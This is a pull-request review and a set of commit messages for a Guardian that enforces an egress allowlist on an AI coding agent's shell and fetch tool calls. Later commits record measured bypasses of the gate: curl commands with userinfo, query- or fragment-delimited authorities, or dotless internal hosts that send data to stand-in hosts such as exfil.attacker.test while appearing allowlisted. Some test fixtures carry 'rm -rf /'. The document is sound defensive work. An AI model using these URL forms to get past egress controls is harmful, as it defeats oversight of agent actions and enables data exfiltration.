Conversation
afogel
left a comment
There was a problem hiding this comment.
Sandi Metz review — V9 (implemented)
Verdict: With fixes. The freeze’s nouns landed: annotateEgressDestination / annotate-egress.ts, policy_target_argument with default/by_tool, into_argument gone from the type and the YAML, acs_policy_target that collides loudly, resolvePolicyTargetArgument(mapping, point, toolName) told a name not an envelope, annotator total, createDeploymentBridge one recipe off the governance barrel, cfg.egress allowlist, policy/lib/*.rego untouched.
Live debt: the annotator still walks a preliminary bag, the shared assemble callback asks the result gate a pre-only question, twin resolvers disagree on argument order, commitment 2 still cites into_argument as a living twin, and conformance still invents the snapshot the assembler already knows how to build.
Stack (all nine slices): Hosts tell governStep; Inspector tails files; conformance imports the runtime and now tells createDeploymentBridge. Remaining cross-stack names: GovernStepInput.session still means handshake config. V6–V8 residuals from the last pass are unpaid and not re-filed here.
| * this function is the one annotator this Guardian has, and routing by name is | ||
| * its caller's job. | ||
| */ | ||
| export function annotateEgressDestination(_name: string, _config: unknown, preliminary: unknown): unknown { |
There was a problem hiding this comment.
[Metz · Important · messages over bags] The freeze promised {destination} or {}. The type says unknown. The body then asks a nested preliminary document for snapshot.tool_call.{args,raw_command}.
name and config are unread by design. The real message is “given a command line and args, answer a destination.” Walking AGT’s bag is Ask.
Reshape: keep a thin AGT-shaped adapter. Tell a pure collaborator annotateEgressDestinationFromToolCall({ rawCommand, args }) that returns DestinationAnswer, not unknown. The adapter unwraps once; the core never sees preliminary.
| * module stands down for needlessly. The shipped `policy/lib/data.json` sets no | ||
| * such key. A deployment that sets one has to revisit this list. | ||
| */ | ||
| const ARGUMENTS_AGT_ALREADY_READS = ["url", "endpoint", "host", "domain"] as const; |
There was a problem hiding this comment.
[Metz · Important · SRP] This module owns command→origin extraction and a hand-copied model of four paths egress.rego already reads. The comment says the list desynchronises the day cfg.egress.destination_paths is set.
Two change reasons in one file. The freeze’s job for this module is extraction.
Reshape: a collaborator standDownWhenGateAlreadyHasDestination(args) (or inject the path list). Leave annotate-egress.ts as extraction-only.
| raw: unknown, | ||
| envelope: E, | ||
| assemble: (envelope: E, sourceLabels: IfcLabels) => GuardianSnapshot, | ||
| assemble: (envelope: E, sourceLabels: IfcLabels, policyTargetArgument: string | undefined) => GuardianSnapshot, |
There was a problem hiding this comment.
[Metz · Important · tell don’t ask] The comment above admits the result-gate assembler takes two parameters and is assignable because TypeScript ignores the third. So every post-tool-call step is told a policyTargetArgument it must ignore.
One shared callback became a bag of “whatever pre needs.” The generic correctly ties envelope to assembler; it does not have to ask post a pre-only question.
Reshape: two evaluate helpers, or a discriminated assemble message ({ gate: "pre", policyTargetArgument } vs { gate: "post" }), so post is never asked.
| * reason `resolveInterventionPoint` throws rather than defaulting -- a mapping | ||
| * that cannot answer must say so rather than guess. | ||
| */ | ||
| export function resolvePolicyTargetArgument( |
There was a problem hiding this comment.
[Metz · Important · naming symmetry] Twin “resolve X from mapping” verbs disagree on argument order: resolveInterventionPoint(acsMethod, mapping) vs resolvePolicyTargetArgument(mapping, point, toolName).
Detail C invents a third: resolvePolicyTargetArgument(toolName, mapping, point) (docs/shaping/acs-reference-impl-shaping.md N54). Slices/README match this file; shaping does not.
Also: PolicyTargetArgument stays unexported while the resolver is on the barrel. Callers can tell the verb and cannot name its table.
Reshape: one convention, always (mapping, …keys). Fix N54. Export the table type beside the resolver.
| | N26 | P3 | guardian | `createEnvelopeLogSink()` → `sink.write()` — ⚠️ **total**: never throws, never alters a decision. Records the request *before* validation | call | → S6 | — | | ||
| | N27 | P3 | guardian | `denyOnInvalidEnvelope()` — schema or bridge failure returns an explicit ACS `deny` **decision**, not a bare error, so the host honors it instead of falling back to posture | call | → N26 | → N4, → N13 | | ||
| | N28 | P3 | guardian | `buildServerHello()` — ServerHello: `negotiated_version`, `methods_evaluated`, `selected_transport`, `timeout_config`, `on_decision_failure`. **`methods_evaluated` is the load-bearing one and V4 is what made it so**: it is exactly the set of methods this Guardian dispatches — both `steps/*` gates since V4 added the result one — and it is *checked against the dispatch* rather than trusted, because both directions are wrong and neither is cosmetic. A method declared here that no branch answers claims enforcement that does not exist; a method omitted tells a conformant client, in `handshake.json`'s own words, to treat that gate as ALLOW-by-default. `test/handshake-declares-what-it-evaluates.test.ts` derives the truth from a live Guardian. There is no `profiles_accepted` — this responder never shipped one | call | → N26 | → N5, → N14 | | ||
| | N54 | P3 | guardian | 🟡 `resolvePolicyTargetArgument(toolName, mapping, point)` — the argument name this tool's policy target is read from and written back to. **One declaration read twice**: N23 uses it to fill the normalised snapshot leaf, N24 uses it to name the `parameter_overrides` key, and a `transform` therefore lands on the argument the call actually carries. It replaces `mapping.yaml`'s `into_argument` literal, which named `command` for every tool and would emit a `WebFetch` redaction against an argument `WebFetch` does not have — measured, and the same reported-applied-but-delivered-original family as risk rows 15 and 17 | call | → N23, → N24 | — | |
There was a problem hiding this comment.
[Metz · Important · public API vocabulary] Shipped signature is (mapping, point, toolName). This row writes (toolName, mapping, point).
Three spellings of one affordance. The code, slices/v9/README.md commitment 5, and this table should say the same sentence.
Reshape: copy the shipped order. Do not invent a third.
|
|
||
| 1. **Nothing this slice builds is named `egress` alone.** The annotator is `annotateEgressDestination()` (N55) and the file that holds it is `annotate-egress.ts`. `egress.ts`, `Egress`, and a bare `egress` export are not available: they name AGT's gate, which this repository vendors byte-identical and does not author. | ||
|
|
||
| 2. **The declaration in `mapping.yaml` is `policy_target_argument`, with members `default` and `by_tool`.** The echo of AGT's own `policy_target` is deliberate and is the file's whole job: the manifest's `policy_target` and this table name the same leaf in two dialects, exactly as `into_argument` and `into_path` already do for the two gates. A third noun would hide that they are one fact. |
There was a problem hiding this comment.
[Metz · Important · naming symmetry] Commitment 3 removes into_argument. Commitment 2 still says the echo works “exactly as into_argument and into_path already do for the two gates.”
After this slice, the request gate has no into_argument. The living twins are manifest policy_target and mapping policy_target_argument (plus result-gate into_path). Citing a removed field as the pattern hides that.
Reshape: amend commitment 2 the way commitment 6 was amended: the echo is policy_target ∥ policy_target_argument. into_path stays the result-gate sibling. into_argument is history.
| @@ -75,7 +80,19 @@ const MAPPING_PATH = "mapping.yaml"; | |||
| * finding, not the no-rewrite case a benign fixture would report instead. */ | |||
| const PRE_TOOL_CALL_SNAPSHOT: InterventionSnapshot = { | |||
There was a problem hiding this comment.
[Metz · Important · tell don’t ask] V9 taught this replica a second leaf and a raw_command. The comments name assemble-snapshot.ts as the thing that writes both — then this file writes them by hand.
createDeploymentBridge was the right recipe for the bridge: one function, so the harness cannot measure a replica. The snapshots did not get that recipe. Same construction is copied again in policy-input-schema.ts.
Reshape: tell assemblePreToolCallSnapshot / assemblePostToolCallSnapshot. A probe envelope plus resolvePolicyTargetArgument is the message; a literal InterventionSnapshot is the bag.
The claim under investigation was that ACS carries what AGT's egress and content_hash gates need, at an address neither side reads. Measured against the pinned bundle rather than read from AGT's docs, and both halves of that claim came back changed. Egress is not a mapping problem. egress.rego's first default destination path is snapshot.tool_call.args.url, and assemblePreToolCallSnapshot already lands ACS arguments there, so for a url-bearing tool the gate fires from one data.json key with no code and no Rego -- the strongest form of R2.1 in the project, filed until now as work. Content_hash is reachable, and the claim is weaker than "different address": ACS puts the integrity digest on a skill and AGT's gate is about a tool, a split the AgBOM makes explicit. What survives is that hooks/skill-load.json describes, clause for clause, the deny content_hash.rego implements. Three findings neither half anticipated, each pinned in the spike: - The manifest's single policy_target denies a benign call outright with runtime_error:path_missing for any tool without a `command` argument. AGT's intervention_point is additionalProperties: false, so governing a second tool shape is code before it is policy. - mapping.yaml's into_argument is a literal, so the moment the matcher widens, a redaction is emitted against an argument the tool does not have while the original ships. Risk rows 15 and 17's family, third arrival. - A manifest declaring an annotator the Guardian dispatches nothing for is a total deny with a runtime-error reason, benign calls included. Splits into V9 (the second tool shape and both egress routes) and V10 (steps/skillLoad driving content_hash). Closes D3 and R5.4, answers R8.3 by building it, and corrects a denominator this commit first got wrong: 22 is every hook payload schema, 19 is the steps/* subset R5.4 asks about, so V1's count stands and the claim is three of nineteen. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Detailing V9's parts into affordances against the shipped code, rather than
against the shape, turned up two things the shape could not have.
S17 is new and its absence is the point: .claude/settings.json and
hosts/claude-code/settings.json decide which tools reach the shim at all
("matcher": "^Bash$"), and neither has ever appeared in this breadboard.
Every affordance downstream assumes a governed call and nothing said which
calls those are, which is how the one-tool limit survived to V9 unnoticed.
OpenCode has no counterpart -- its plugin registers for every tool and scopes
in the hookmap instead -- so the same fact lives in a different kind of place
per host.
The result gate carries the request gate's one-shape assumption one layer
out, and nothing answers it. A hookmap declares outputs.from once per hook
exactly as the manifest declared policy_target once per point. Measured:
$.tool_response.stdout against a WebFetch result resolves to undefined,
buildPayload throws, and under the shipped proceed posture the step runs
ungoverned with an audit event. So V9 widens the PreToolUse matcher and not
PostToolUse's -- no stock gate reads a fetch's output, so the result gate
buys nothing and costs a fail-open. The general close is risk row 24 and is
explicitly unassigned.
Also records what N54 replaces: path-dialects.test.ts derives into_argument
from the manifest's policy_target, and under a normalised leaf that
derivation yields the leaf's own name. It splits into the two agreements
that are load-bearing now, the second of which can only check that a
by_tool argument's tool is registered -- the same limit V8 measured for
hookmap tools entries, for the same reason.
No new UI, stated as the right answer rather than an omission: a deny is a
deny, and U21 already renders whatever reason_codes comes back.
Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Same collision V8 had, same shape: `egress` is already spent. It is AGT's
stock gate (policy/lib/egress.rego), its config key (cfg.egress), its reason
(egress_destination_not_allowed) and its allowlist fallback
(input.tool.security_labels). What this slice builds is a Guardian-side
extractor that feeds that gate, and left to implementation time the first
file is called egress.ts and is read as the gate.
Eight commitments, none of them describing measured V9 behaviour because
there is none yet. The load-bearing ones: into_argument is removed rather
than kept beside the new table, because two declarations of one fact are two
things that can disagree; the synthetic snapshot leaf is acs_policy_target
and fails loudly rather than shadowing a real argument; and the annotator
answers {} rather than throwing, because a command it cannot parse is a
deliberate miss and must read as one.
Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…eral, an untrue fixture value, and an overclaiming cast - mapping.yaml: the post_tool_call comment claimed a request-gate agreement with policy/manifest.yaml that no longer exists, and called itself the "SECOND" of two places when it is now the only one; rewritten to say the result gate is the only remaining direct agreement between the two files, and that the request gate's own agreement is now with assemble-snapshot.ts's POLICY_TARGET_LEAF constant instead. - Replaced the hand-typed "acs_policy_target" object key with the imported POLICY_TARGET_LEAF constant at every site where importing it costs nothing: test/ifc-round-trip.test.ts, test/redaction.test.ts, packages/conformance/src/main.ts, packages/conformance/src/policy-input-schema.ts, packages/conformance/test/identity.test.ts, and packages/guardian/test/assemble-snapshot.test.ts (which already imported it). Left packages/agt-bridge/test/bridge.test.ts's literal alone: agt-bridge has no dependency on guardian (guardian depends on agt-bridge, not the reverse), so importing the constant there would add a backward package edge. - packages/guardian/test/map-verdict.test.ts: the "never emits both shapes at once" loop passed "command" for post_tool_call too, a value resolvePolicyTargetArgument could never return there since the shipped mapping declares no policy_target_argument for that point. Now passes "command" only for pre_tool_call and undefined for post_tool_call. - packages/guardian/test/server.test.ts: postToolCallRequest returned `response.result as unknown as AcsDecision`, asserting an identity that wasn't true (the JSON-RPC result is an AcsFinalResult, not an AcsDecision). Typed it as AcsFinalResult, which is what the result actually is. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Adds raw_command?: string to the request-side hookmap entry and to AcsToolCallRequestPayload, plus raw_command?: never to both the result-side hookmap entry and AcsToolCallResultPayload (the latter is not spelled out in this slice's brief but is needed for the same reason arguments/outputs/exit_status already are: it keeps the payload's exclusive union exclusive, so a union access reads as `string | undefined` on both shapes without a cast). buildEnvelope's request branch resolves the hookmap's raw_command path and carries it onto the payload only when it resolves to a string -- omitted, never a throw, since a tool with no shell command (WebFetch) resolves this path to nothing on every call and a hookmap without a raw_command declaration is already legal. The result branch refuses a hookmap that declares raw_command beside outputs, since a result payload has no member for it. Both shipped hookmaps now declare the path: claude-code.hookmap.yaml at $.tool_input.command, opencode.hookmap.yaml at $.args.command. The claude-code hookmap's comment corrects an inherited claim about AGT's host_of(): its "://" branch does discard a curl prefix, but its other branch returns any command's own leading word, so a forwarded command line always resolves a destination and every benign shell step would be denied -- the reason the egress annotator exists instead. No wire-shape test pins an exact hook-entry key set, so neither host's own pinned-output tests needed a change.
…dispatcher as optional
`policy/lib/data.json` gains one key -- `cfg.egress.allowlist` -- and AGT's stock
egress gate goes live. No Rego authored, no `.rego` file touched; `bun run
verify:pin` byte-diffs every one of them against the pinned upstream clone and
passes.
`policy/manifest.yaml` declares the `egress` annotator that feeds the gate's
`["annotations", "egress", "destination"]` path, wired from
`$.tool_call.raw_command` -- the one snapshot member the assembler guarantees is
always present. `startGuardian` now supplies `dispatchGuardianAnnotator`
unconditionally: omitting the `annotator` option no longer means "no annotator",
it means the built-in one.
That last change is not a convenience. A manifest declaring an annotator,
evaluated by a bridge built with no dispatcher, denies EVERY call in the
deployment -- benign ones included -- with `runtime_error:annotation_failed`, a
total deny wearing a reason that reads like a policy decision. So every
construction of a bridge against the shipped manifest had to gain one, including
two production call sites in the conformance runner
(`packages/conformance/src/main.ts`, `src/upstream-watch.ts`) that would
otherwise have reported their own misconfiguration as a finding. `bun run
conformance` was run and is clean.
`allowlist` is set explicitly for a second measured reason: absent, AGT's
`allowlist(rules)` falls back to `input.tool.security_labels`, which is
`["shell"]` on every tool this manifest registers, and every destination is
denied.
BEHAVIOUR CHANGES, not adjusted assertions:
- The request gate now has a fourth deny class, above `patterns` in AGT's
priority chain. A shell command whose `raw_command` names a host outside the
allowlist denies on `egress_destination_not_allowed` where it previously
reached the destructive-pattern check.
- `annotations.<name>.from` is a liveness precondition: unresolved, AGT denies
the whole call on `runtime_error:path_missing` before the annotator is
dispatched. Nine hand-built snapshot fixtures across four test files and two
conformance source files stood in for the assembler's output without carrying
`raw_command`; each now carries it, which is what a real snapshot has always
had.
- `policy/manifest.drift.yaml` moves its `policy_target` and its annotation
`from` off `$.tool_call.args.command` to the shared normalised leaf. It
resolved for Bash only because the assembler leaves each tool's own arguments
beside the leaf, so the first non-shell tool run against the drift demo would
have been denied silently.
Two pre-existing assertions were strengthened rather than relaxed, because both
would have gone on passing for the wrong reason: a dispatcher-less bridge also
answers `deny`, so `expect(verdict.decision).toBe("deny")` alone no longer
distinguishes a rule firing from evaluation failing. Both now pin the reason.
Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…o something
Two structural gaps from review, both in code that already behaved correctly.
THE RECIPE EXISTED IN SEVEN PLACES. `createBridge(manifest, { annotator:
dispatchGuardianAnnotator })` was written out in the Guardian and in six
external callers. Declare a second annotator, or take another `createBridge`
option, and the Guardian gets it while six replicas do not -- and the
conformance harness silently resumes measuring something that is not the
shipped deployment, which is the exact hazard those call sites were edited to
avoid.
New module `packages/guardian/src/deployment-bridge.ts` owns
`dispatchGuardianAnnotator` (moved off `server.ts`) and exports
`createDeploymentBridge(manifestPath, annotator?)`. `startGuardian` calls it
rather than assembling a bridge itself, and all six external callers construct
a bridge through it instead of importing a dispatcher and hand-assembling one.
`packages/conformance/src/main.ts` in particular now gets its measured bridge
and its live Guardian from the same function.
`packages/guardian/package.json` publishes it at `guardian/deployment` -- the
narrow subpath export `src/index.ts`'s own header already prescribes for a
non-barrel symbol needed outside the package. The barrel is untouched and stays
governance verbs only. The map is enforced, not decorative: `guardian/src/-
server.ts` no longer resolves at all, so the deep-import route is closed rather
than merely discouraged.
Splitting the module also stops a caller that only wants a bridge from loading
the HTTP server, its schema registry and its envelope log to get one.
`policy/manifest.drift.yaml` WAS PINNED BY NOTHING. No code in this tree builds
a bridge or a Guardian on it; its only invocation is a code block inside a
runbook, which is documentation and is never executed. Moving its
`policy_target` and its annotation `from` onto the normalised leaf was
therefore backed by nothing the suite could detect, in either direction, and a
regression would surface as a total deny in a live demo rather than as a red
test.
`packages/guardian/test/server.test.ts` now starts a real Guardian on that
manifest with the runbook's own constant-score annotator stub and posts a call
from a tool that sends no `command`. Mutation-tested: pointing the manifest's
two paths back at `$.tool_call.args.command` fails it on exactly
`runtime_error:path_missing`. That required registering `WebFetch`/`webfetch`
in the drift manifest -- without it the call denies on
`runtime_error:tool_unknown` first and the test passes vacuously -- which also
makes that demo able to govern a non-shell tool at all.
Also, all in files already open:
- Two `rm -rf /` fixtures had become decorative: once both pinned
`ifc_clearance_violation`, the identical assertion would have passed for
`echo hi`. Both now carry the `["public"]` label a real session seed
supplies, so they pin `destructive_shell_command_blocked` and the fixture
earns its name again.
- `docs.example.com` is now explained where the rest of the allowlist
reasoning lives, since JSON carries no comments: a deliberately inert second
entry proving the allowlist is a list, with no test depending on it.
- The WebFetch redaction test's green depends on `*.anthropic.com` being
allowlisted -- an egress deny outranks a redact transform -- which is now
written down there rather than left to be rediscovered as a confusing
failure.
- "these labels are read by nothing" now carries its own condition; it is the
sentence someone will quote when deleting the labels.
- The `annotator` option no longer names a caller absent from the source tree;
it names the runbook where that code block actually lives.
- Dropped the last unverifiable ordinal from `annotate-egress.ts`'s header.
- `server.test.ts` gets its missing trailing newline.
Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Widens host #1's PreToolUse matcher to ^(Bash|WebFetch)$ in both .claude/settings.json and hosts/claude-code/settings.json (still byte-identical), leaving PostToolUse anchored at ^Bash$: a WebFetch result carries no stdout, so widening it would buy a fail-open in exchange for nothing no stock gate reads. Widens host #2's request gate tools list to [bash, webfetch] in hosts/opencode/opencode.hookmap.yaml, with the result gate staying [bash]. Rewrites the eight comments (plus one authorised path fix in packages/agt-bridge/test/bridge.test.ts) that described host #1's two gates as scoped identically by one matcher -- they no longer are. Step 1's live measurement: started a Guardian on a scratch port (8788, separate from the one already governing this session on 8787) and drove a real `opencode run` against the actual hosts/opencode/ acs-plugin.ts with a local stub model emitting a webfetch tool call. The logged envelope's params.payload.arguments carried {"url": {...}, "format": {...}} for both a denied non-allowlisted destination and an allowed one (docs.anthropic.com, which the plugin's real webfetch tool then actually fetched) -- confirming "url" live, on the wire, from a real host. mapping.yaml's existing by_tool.webfetch: url row needed no change. Found and worked around a confound rather than hiding it: the Guardian already running on :8787 for this session predates this slice's own manifest.yaml/assemble-snapshot.ts changes (started before Task 1's commit), so the first attempt against it denied on the stale pre-migration policy_target instead of evaluating the current egress rule. Did not stop or restart that Guardian; started a disposable second instance instead, which is now shut down. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…fied Every block in docs/demos/v9-runbook.md comes from a Guardian started from 16a3ab0 on port 8791 -- its own port, never the long-lived one, which holds a pre-slice manifest and would have shown pre-slice behaviour. All ten wire responses were re-run against a second Guardian process and diffed: identical. Every other block (the OPA host_of measurements, AGT's own policy input, the pre-slice mapVerdict comparison, the data.json diff, the policy/ diffstat, verify:pin) was re-run at the end and compared byte for byte against what the file says. The only field a re-run does not reproduce is verify:pin's wall-clock duration, and the runbook says so. The V3 drift capture was re-run because this slice moved that manifest's policy_target onto the shared leaf. THE VERDICT MATCHED: allow, drift_detected, agt_stock -- exactly what V3 captured, so no V3 capture was re-taken. One field of the response did change, and not because of this slice: `reasoning` is now composed through mapping.yaml's field_synthesis template, which landed in 1534a59, after V8 and before V9. A correction note beside V3's capture records both halves and carries the new block. Six corrections amended into the shaping doc, each measured rather than reasoned about: - An annotator's `from` is a liveness precondition, not a projection. An unresolvable one denies the whole call with the annotator never dispatched; `from` is a required field; the dispatcher receives AGT's whole preliminary policy input, never the resolved value. All three measured here. This is why raw_command is on every request snapshot. - The guardian_only/expressed matrix-cell claim is not implementable. The matrix is 8 points x 5 verdicts read off the SDK's own consts, with no coordinate for a gate class or a route, and pre_tool_call x deny already resolved expressed. The distinction is real; the cell is not. Retracted in three places, including risk row 22. - "V9 touches packages/conformance not at all" is false. No cell is added and neither axis moves -- that half stands -- but declaring an annotator forced every bridge construction, including two production files there, through one createDeploymentBridge behind a declared guardian/deployment subpath. - Two destination paths resolving to different strings are runtime_error:policy_invocation_failed, not a priority order. Measured, with the same-value case measured beside it. Risk row 25. - The demo matrix is eight rows measured on the manifest this slice ships, replacing two partial tables. - host_of("curl https://evil.test/x") answers evil.test, not "curl https". The three real reasons extraction is needed are now stated where the wrong mechanism was. Three staleness sites corrected in prose only, no capture touched: README's anchored-matcher paragraph (PreToolUse is now ^(Bash|WebFetch)$, PostToolUse still ^Bash$, five registered tools), README's ACS_MANIFEST_PATH row (the default manifest now declares an annotator), and v5-runbook's both-gates-are- tools:[bash] paragraph (the symmetry survives; the asymmetry moved from between the hosts to between each host's two gates). What is not closed is now in the section's own text rather than only in the risk table: the extractor's miss direction, the result gate's one-shape assumption which stays unassigned, and that the by_tool registry check is existence-only -- it can say a tool is registered, never that it takes a given argument. bun test 976 pass / 1 skip / 0 fail across 66 files, unchanged from the baseline. typecheck clean. verify:pin 5 pass. conformance clean, all six legs RAN. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…heck Review found three false sentences and one method fault. All four fixed here, documentation only. The one that was this task's own: the correction of the host_of() mechanism ended "so no copy of the wrong mechanism survives in the tree", and a copy did -- docs/shaping/spike-unreached-gates.md A3, which is the document this slice sends readers to for its measurements. A false sentence inside the correction of a false sentence. A3 now carries a retraction in the shape this doc set already uses: the old sentence quoted, the five OPA rows measured beside it, the two things that actually break, and a pointer to the amended argument. The "no copy survives" claim is replaced by one that names what was swept: `git ls-files | xargs grep -l host_of` returns eight files, two are the vendored upstream bundle, the other six were each read. The old sentence still occurs three times across the shipped docs and every one is now a quotation inside a retraction rather than a statement. README's V4 paragraph said the redaction reaches the model unexplained because mapping.yaml sources reasoning from verdict.message. Since 1534a59 it composes a template plus a per-rule summary, and the v9 runbook this branch just added publishes the composed sentence -- so the shipped doc set contradicted itself with a capture of its own. The half that is still true survives and is now the headline: AGT's redact rule emits no message of its own, so the explanation the model reads is composed on this side, rule named and attributed, with no detail clause because there was nothing to attribute. v5-runbook's fixed-policy_target sentence is scoped to when that slice shipped rather than rewritten, with an amendment beneath it: the mechanism it explains is unchanged -- one fixed target per point, resolved before any rule -- and what moved is which leaf it names. Prose only; no capture in that file touched. And the method fault, which is the fairest of the four: the script that checked every captured block was deleted after it ran, turning a proof into a score. It is not re-created. The runbook gains a "How to check these captures" section instead: the Guardian invocation and port, the fact that its envelope sink records both directions at the log path the setup block already names, and the one command that makes the log a check rather than an echo -- jq -c 'select(.direction == "response") | .envelope' .acs/v9-runbook.jsonl \ | sort -u | jq . Run the ten requests any number of times and the distinct response count must stay at ten, because every field that varies run to run is fixed in the request bodies. Writing this file that log reached 120 lines, 60 request/response pairs, ten distinct responses, each byte-identical to a block above it. bun test 976 pass / 1 skip / 0 fail across 66 files, unchanged. typecheck clean. Both `git diff be5ab38..HEAD` blocks re-run and still byte-identical, and the five-row host_of block re-measured and byte-identical in all three documents that now carry it. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
… is not
The final whole-branch review found two measured behaviours of the now-live
egress gate that no document stated, and some prose citing a guarantee this
branch broke. One fix wave, no re-tuning of the shipped configuration, and no
`.rego` touched -- `bun run verify:pin` still passes.
A URL whose userinfo carries a colon reads to `egress.rego`'s `host_of()` as
the userinfo's own host: measured through the OPA the pinned SDK ships,
`host_of("https://docs.anthropic.com:pw@exfil.attacker.test/steal")` is
`docs.anthropic.com`, which `*.anthropic.com` covers. Against the shipped
allowlist that URL was allowed on BOTH routes. This is worse than the miss
direction already published -- there the extractor never finds the URL, here it
finds it correctly and the gate mis-parses it, so a reader who has absorbed
"misses are allows" still wrongly believes a URL that reaches the gate was
decided about.
Only one half is closable from this side, and the asymmetry is now stated
everywhere it matters. `annotateEgressDestination` chooses the string it hands
the gate for a `raw_command`, so it strips any userinfo before answering and
the gate resolves the host the request actually reaches -- measured, deny with
`destination exfil.attacker.test not in allowlist`. It also stops the inverse
false positive, where an allowlisted host wearing a userinfo prefix was denied
for a host nobody would be reached at. A fetch's own `url` is the gate's FIRST
declared destination path and reaches `host_of()` with nothing in between;
correcting that would mean editing AGT's file, which is this branch's central
claim. Published as a measured limitation instead, with both routes' verdicts
captured from a real run.
The second measured behaviour is the opposite direction. With one reachable
allowlist entry, every shell command whose text merely CONTAINS an off-allowlist
URL is denied -- `git clone`, `pip install -i`, and a bare `echo` that reaches
nothing. Neither re-tuning is available: widening the allowlist edits a file
every capture is measured against, and narrowing the extractor to tell "reaches"
from "mentions" means parsing shell, which fails in the permissive direction
when it is wrong. So the direction is published where an operator meets it --
the README's install step, before the hook is turned on -- and captured in the
runbook.
Three comments presented `scripts/verify-zero-diff.sh` as a live guarantee. It
is not: this branch edited a file under its frozen pattern, the script exits 1
from this HEAD, and no workflow runs it. Re-scoped to the past tense the same
way an earlier runbook already was -- the freeze proved a claim at the commit it
was written at, and what holds today is the test itself. The v7 runbook's
captured failure of that script is scoped rather than re-taken: its message was
rewritten, the line it cites moved, and the frozen set is longer.
Also: the `PostToolUse` hookmap entry now carries, at the declaration itself,
the measured chain that makes widening its matcher unsafe -- a fetch result has
no `stdout`, the payload builder throws, and under the shipped `proceed` the
step runs ungoverned. `.claude/settings.json` is JSON and cannot say it.
Smaller: `govern-step.ts`'s two possessives no longer garden-path; the
stand-down list's doc comment names its coupling to `cfg.egress.destination_paths`,
which replaces the gate's defaults outright; risk row 25's "closed structurally"
is narrowed to the one conflict the annotator actually closes; and the Guardian
package drops `main`/`types`, dead under `exports`, and declares the
`./package.json` subpath some tooling reads.
Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…ious The userinfo strip added in the last commit read a query or a fragment as part of the authority, because it bounded the authority at "/" alone. RFC 3986 ends an authority at the first of "/", "?" or "#", and the character class this module matches URLs with admits both of the ones I forgot. So on a path-less URL, an "@" inside a query or fragment was taken for a userinfo delimiter and everything before it discarded. Measured through a Guardian started from this tree at the previous commit, against the shipped allowlist: `curl https://evil.test?x=a@docs.anthropic.com` and `curl https://evil.test#a@docs.anthropic.com` were both ALLOWED, where both were denied before the strip existed. `curl -w '%{url.host}'` resolves `evil.test` for both. That is the exact bypass class the strip was written to close, re-opened by the normalisation meant to close it -- and it made the fixed shell route WEAKER than the unfixed fetch route for this shape, since the fetch route denies both forms. It also needs no userinfo semantics from an attacker: append `?x=a@<allowlisted-host>` to a path-less URL you control. `afterScheme.search(/[/?#]/)` instead of `indexOf("/")`. `search` answers -1 on no match, so the -1 branch and the totality contract are untouched. All six tests from the previous commit still pass; three more cover the query form, the fragment form, and a userinfo that genuinely sits ahead of a query -- the bound is where the authority ends, not a blanket refusal to strip. Also re-scopes the two remaining flat present-tense statements of the verify-zero-diff freeze, on `hooksWhereEmptyOutputIsDishonest` and its meta-test. The first is the canonical statement the site re-scoped last commit defers to, and the first text anyone changing that function reads. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…ar-miss The runbook published "the shell route is closed here" against a table taken before the authority bound was fixed, and one of its own rows would have falsified it. Re-captured from commit 27a4624, on port 8797 -- a fresh Guardian on its own port, killed by its own PID. All four captured blocks in that subsection were re-run from the committed tree and diffed against what is pasted: byte-identical, the trailing space `printf` leaves on two rows included. The table now carries five URL forms rather than three. The two new ones are the query- and fragment-delimited shapes that the first version of the strip allowed, and they read `shell: deny` now. The `host_of` block carries them too, and that is where the second, un-closable half shows: `host_of()` bounds the authority at "/" alone as well, so it answers the whole query string as the host. Those two rows deny only because no allowlist pattern matches a string with a "?" in it -- right verdict, wrong host, one layer below anything this deployment can reach. The near-miss itself is written down rather than quietly corrected, in the runbook, the slice README and risk row 26. A normalisation that re-opens the class it was written to close is worth a reader's time, and this one briefly made the route it repaired weaker than the route it could not. Risk row 26 now also carries the upstream ask in the form the measurement supports: `host_of()` should bound the authority at the first of "/", "?" or "#" AND cut it at the last "@", before splitting on ":". Measured, it does neither. Also corrects the capture provenance, which said "a later commit of this tree" while the provenance table said the captures came from an uncommitted working tree. Both now name commit 27a4624, which is where they actually came from. Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Three rounds of hand-rolled normalisation produced three distinct bypass
shapes. That is the evidence: the defect was hand-rolling the parse, not the
particular delimiter each round forgot. So the normaliser is gone and
`new URL(...).origin` takes its place.
The shape that survived the last round needs no userinfo and no "@" semantics
at all. `host_of()` bounds the authority at "/" only, so query or fragment text
joins the "host" -- and the allowlist glob's "*" spans one dot-delimited
segment, so it swallows that text WHENEVER THE REAL HOST HAS NO DOT IN IT.
Measured three ways against the shipped allowlist, at the previous commit:
through a live Guardian, through `opa eval` of `host_of` and `deny_egress`, and
through `curl -w '%{url.host}'`:
curl https://metadata?x=@docs.anthropic.com ALLOW, curl reaches metadata
curl https://internal-api#@docs.anthropic.com ALLOW, curl reaches internal-api
curl https://evil?x=@docs.anthropic.com ALLOW, curl reaches evil
Dotless names are internal names, which is the class an egress gate is deployed
for. The two-label forms denied, which is why the last round looked clean.
An origin is scheme, host and port and nothing else. It cannot carry a
userinfo, a query or a fragment by construction, so userinfo, colon-bearing
userinfo, query-delimited authority, fragment-delimited authority and the
dotless-host shape all close as ONE class rather than as five patches. Handing
`https://metadata` to the gate denies -- measured.
`new URL` throws on input it cannot parse, and this function may not: a throw
becomes AGT's `runtime_error:annotation_failed` deny on every call in the
deployment. The throw is caught and answered `{}`, the same answer a command
with no URL in it gets. Total, unchanged: never a throw, never null.
THE ASSERTIONS CHANGED, AND THAT IS A BEHAVIOUR CHANGE RATHER THAN A
WEAKENING. Every test that expected a full URL now expects an origin --
`https://exfil.test` where it used to read `https://exfil.test/steal`, in this
package's annotator suite and in the one server-suite assertion that carries
